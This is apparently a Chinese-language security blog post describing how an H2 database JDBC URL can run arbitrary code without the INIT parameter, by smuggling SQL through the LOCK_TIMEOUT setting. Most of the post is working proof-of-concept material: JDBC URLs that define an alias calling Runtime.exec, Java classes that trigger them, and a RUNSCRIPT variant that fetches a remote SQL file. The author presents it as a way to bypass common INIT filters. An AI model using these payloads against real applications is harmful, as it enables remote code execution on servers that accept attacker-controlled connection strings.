H2 JDBC URL 无需参数 INIT 执行代码的方法

看 H2 底层代码的时候发现了一个很有趣的 trick,除了下面这个我们熟知的用 INIT 指定 SQL 语句执行 Java 代码的经典 POC :

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('calc')\\;
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://xxxxxx:50025/poc.sql'

其实还有一种办法能不使用参数 INIT 也 RCE,而这个问题之所以发生有点像 SQL 注入,是 H2 驱动底层代码写的有点问题

ConnectionInfo 解析 URL 参数之后会打开 Database / Session,而在 openSession 这里有一个处理逻辑,建立连接的阶段允许字面量,对于除了在之前就预先处理过的 PAGE_SIZEMV_STORE 等 DbSettings 值以外,对于剩下的参数会去看它是不是「简单标识符」:

  • 不是 → 只有 TIME ZONE 特殊处理(加 SQL 引号),别的直接抛错
  • 是(LOCK_TIMEOUTSCHEMA )等:用 SET 加上 value 原样拼上去,不加引号、不转义,以在连接过程中对参数值进行初始化

而在后面,我们这个拼好的 SET xx=xx 就被 prepareLocal 直接当作 SQL 语句执行了

这就是很典型的注入类问题,H2 URL 的语法里用分号分割不同的属性,但也允许用反斜杠对分号进行注释,因此对于一个类似 LOCK_TIMEOUT=0\;xxxxxxxx;的代码,它会认为 0\;xxxxxxxx; 是前面这个参数 LOCK_TIMEOUT 的值,而在后面 SQL 引擎解析的时候会忽略反斜杠,所以最后执行的内容就变成了 LOCK_TIMEOUT=0 以及后面跟的 xxxxxxxx,所以最终的 POC 很简单,就是在 LOCK_TIMEOUT=0\; 后面跟代码让他执行即可:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class H2RCE_special {
    public static void main(String[] args) throws Exception {
        String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('calc')";
        Connection conn = DriverManager.getConnection(url);

    }
}

从我的经验来看,大部分的开发者还是直接拦的 INIT,这个 trick 应该可以绕不少防护

当然,用 RUNSCRIPT 远程加载 sql 文件也是可行的:

CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c);}';
CALL CMD('calc');
package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;

public class H2RCE_special {
    public static void main(String[] args) throws Exception {
//        String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\;}'\\;CALL CMD('calc')";
        String url = "jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\;RUNSCRIPT FROM 'http://127.0.0.1:6666/poc.sql';";
        Connection conn = DriverManager.getConnection(url);

    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇